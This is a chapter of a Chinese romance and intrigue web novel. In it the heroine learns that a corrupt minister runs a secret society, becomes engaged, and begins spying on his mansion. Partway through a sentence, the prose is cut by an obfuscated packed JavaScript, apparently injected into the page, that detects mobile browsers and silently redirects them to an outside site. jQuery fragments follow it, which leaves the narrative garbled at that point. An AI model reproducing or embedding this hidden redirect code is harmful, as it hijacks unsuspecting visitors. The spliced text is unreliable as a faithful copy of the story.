58. 礼成
作品:《七七似酒》 “碧影阁阁主,其实就是杨晖。”上官越宇神情严肃,眼神望向远处,像是在回想往事。
“杨晖?”上官翎一时之间没有忆起这人。
“刑部尚书,杨晖。”聂七七开口提醒道。
虽说有些震惊杨晖的阁主身份,但果然与她的猜测不二。
之前她让晓竹盯紧他,发现他去碧影阁的次数极其频繁,而且固定。不像是叶晨这种与碧影阁有交往的,更像是有绑定关系。
再加之上次她去碧影楼打探之时,那黑袍人的嗓音总觉得格外耳熟,如今算是对上号了。
上官翎冷哼一声:“难怪,他手握刑部的权力,以权谋私,如若旁人上告,也没有法门。”
“最终这些案子都会落到他手上。”聂七七跟着附和道。
上官越宇转头看向自家儿子,缓缓道出实情:“当初你娘出征时,官家拨的款项并没有如期到手,于是我便从自家腰包里掏出了这笔钱。”
“可是由于军饷的迟迟未到,许多武器装备没来得及运送,导致那一场大战损失惨重,你娘也落下了病根儿。”
“我一直在暗中调查此事,可直到你娘去世真相才逐渐露出水面。”提及此事上官越宇眉宇间透露难掩的伤痛。
“当我查到了碧影阁和刑部的来往密切,便派了鱼饵去引出碧影阁幕后之人,却没想到碧影阁的阁主和刑部尚书居然是同一人。”
“杨晖害怕事情败露,便千方百计刁难我,倘若我孤身一人,纵使让我面对千军万马我也没有半分害怕。”
“可是亡妻已去,留下的孩子尚且年幼,我不能再倒下,何况那奸人拿我两个孩子相要挟,无奈之下我只好缄口不言。”
他眼眶染上泪色,双手握拳眼中似带着不甘。
“那日看到你大哥那般模样,我隐约觉得是他下的手。”
难怪那日上官越宇的行事怪异,如今一切都有了解释。
上官翎神色认真,眸光坚定:“爹,你放心如今孩儿已经长大,您受得苦我定会加倍给你讨回来。”
上官越宇朝着聂七七走来,他抬手拍了拍她的肩膀。
眼神尽是里藏不住的心疼,他长叹一声道:“孩子,你爹的事是我对不住了,我没能及时提醒聂兄,不然他也不会全然无防备。”
“我爹?”聂七七眼神中闪过疑惑。
“当初碧影阁狼子野心,想要将商户合并道官家管辖之下,从中谋取更大的利益。”上官越宇脸上写满了后悔与自责,垂着眼不敢回看聂七七。
“聂兄在朝中说话虽无实权,但是他的中立态度,引起了杨晖等人的不悦。”
聂七七脸上笑容苍白,今日总算是知道她爹爹为何蹊跷身亡的缘由了,也不枉费她这一路的波折。
“上官伯父,您有参与陷害我爹的计划吗?”
“自是没有。”上官越宇立马坦然回应。
“我与聂兄虽不能称之为情同手足,但同袍之情亦是不浅,我绝无可能害他,我只是无力相助。”他情绪激动,说到最后双眸中竟是含着泪光。
她释然一笑,开口道:“您也不是官场之人,不必如此自责,该抱歉得是杨晖那□□人。”
“如今我们要做的应该是联手找出证据,不再活在碧影阁的阴影之下。”
“好。”上官越宇声音压着嗓音。
上官翎双手环抱在胸前,挑眉看向聂七七:“鉴于你有前车之鉴,联手这件事情我还得考虑几分,不然你突然又被某些别有居心的人拐跑了,我岂不得不偿失?”
“除非……”他若有所思的模样。
“除非什么?”聂七七眼神带着玩味儿看向他。
他牵起她的手,十指紧扣,朝着上官越宇望去。
他突然话锋一转:“既然家事聊完了,我们该聊聊下聘礼的事情了。”
“你认真的吗?”聂七七左右来回打量两父子的神情。
上官越宇嘴角勾起会心一笑,眼神投出默许。
上官翎低头垂眸:“我何时跟你玩笑过?”
七七酒肆的后院中,二位父母坐在高堂处,面带慈爱的望向前方的一对璧人。
聂七七此刻都还很迷糊,她不知道怎么就被上官翎连骗带拐的来见父母了。
上官越宇越看两人心中越是欢喜,连声赞叹:“甚好甚好。”
“这小时候我们家七七就吵着要和阿翎做一家人,如今也是一语成箴。”聂夫人提起往事,不禁感叹,“我那套婚服看来也快派上用场了。”
按照江州城的风俗,定亲需行求允之礼,男女双方互致书帖。
上官越宇拿出用烫金红纸竖写的“求帖”,以表求婚之意。
“亲家,这是犬子的求帖,还望收下。”
聂夫人接过帖子,从怀中取出允帖子再递回。
如此一来定婚就算礼成了。
此后,过帖下聘的男方不得毁约不娶,回帖受聘的女方也不能毁约不嫁。
两家将婚约定在了小暑那日。
上官翎垂眸望向聂七七道:“小暑是个好日子。”
她凝眸附和道:“七月七日,确实是个好日子。”
上官翎笑容中突然露出狡黠,他将聂七七抱了个满怀:“此后一家人不说两家话,定了亲以后你总归跑不掉了,聂七七。”
“我什么时候要跑过?”聂七七埋在他坚实的胸膛,语气中带着俏皮。
他宽阔而又温暖的手掌轻拂上她的后脑勺,低头在她耳畔轻声道:“以后无论发生什么,我们都要共同承担。”
“好。”聂七七点头。
“你知道我等这一天多久了吗?”上官翎声音暗哑。
聂七七轻笑一声,抬头望向他:“等了多久?”
上官翎抬手勾了勾她的鼻梁:“从你说想和我做一家人那天起,我就在等着。”
“原来你觊觎我已久。”聂七七笑容明媚。
“嗯。”上官翎看着眼前的笑容,右侧酒窝不觉乍现。
聂七七的计策起了作用,如今江州城谣言四起,纸包不住火,上面的那位终是有所耳闻。
柳芝坐在桌案旁,一边研磨,一边不忘跟聂七七分享酒肆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644749|187838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传来的趣事:“听说为了压制住四起的谣言,上面停了杨晖刑部尚书的这一职位。”
晓竹双手撑在脸颊上靠在桌旁,津津有味盯着柳芝提笔作画。
他语气中带着惊讶:“陛下居然没有下令彻查?”
上官翎坐在聂七七的身边,将剥好壳的瓜子仁放到她的面前:“或许不是不想彻查,而是杨晖手上的势力盘根错节,上面那位不敢轻易动他。”
“但总归他最近应该作不了什么花样来了。”聂七七将眼前小山坡一般的瓜子仁尽数咽入口中,咀嚼时瓜子的香气在唇齿间溢出,她眼中全是满足。
“不过,他还不知道我们已经知晓他的身份。”上官翎嘴上道出心中计策,手上还不忘继续剥着瓜子壳,“说不定我们可以利用这一点,套出点证据来。”
聂七七早早蹲在尚书府门口,她眼见那抹熟悉的身影归来,立马起身迎上前去。
“杨叔。”她远远地招手,神情乖巧。
“七七?你怎么有空来找我?可是有何事?”杨晖眼中闪过狐疑,随后脸上神色露出和蔼。
不愧是老狐狸,演技炉火纯青。
“可否?”聂七七眼神朝着府内望去。
杨晖立马明白了其中意思,伸手做出‘请’的姿势:“哦哦,可以,快请进。”
聂七七如愿跟着杨晖进入了尚书府,一路上她用余光顾盼左右,打量着府中的布局。
从大门穿过长廊,就到了尚书府的主厅,其他的房间应该专门隔绝在后方,聂七七暂时没法知晓。
“请坐。”杨晖坐到上位,示意身边的侍女斟茶。
聂七七灵机一动。
她端过茶时,手中顺势卸力:“哎呀。”
茶水顺着杯沿倾倒至她的衣裳上,裙摆瞬间沾染上茶渍。
“蠢货,倒个茶都不会吗!”杨晖突然间的暴怒,让聂七七都有些惊吓到。
一旁倒茶的侍女更是胆战心惊,直接跪在地上,蜷着身子:“大人,奴婢知错,还请大人责罚。”
聂七七连忙扶起跪在地上的侍女,脸上笑容十分无辜:“杨叔不怪她,我真是笨手笨脚,这茶水都端不稳。”
杨晖像是突然惊觉自己言行的不当,脸上不悦褪去,改口道:“既然七七都这样说了,你就起身吧。”
侍女听了杨晖发话像是松了一口气,才敢缓缓起身。
聂七七趁此机会提出:“还烦请杨叔稍等,容我去整理一下着装。”
杨晖点头允诺,随即又对着侍女吩咐道:“你,陪聂小姐去清理一下衣物。”
“不用了。”聂七七连忙拒绝。
“要的,总不能让我这怠慢了客人不是?”杨晖面色和蔼,语气中却夹带着不容拒绝的威严。
聂七七点头,没有再拒绝的理由:“好。”
一路上聂七七都观察着四周的环境,如今有这侍女在一旁,她也不好随意走动。
突然间,她看到一间屋子,不像是普通厢房。
整间屋子都用涂上了墨色的火漆,这种漆料虽是乌黑,但却不怕水火。

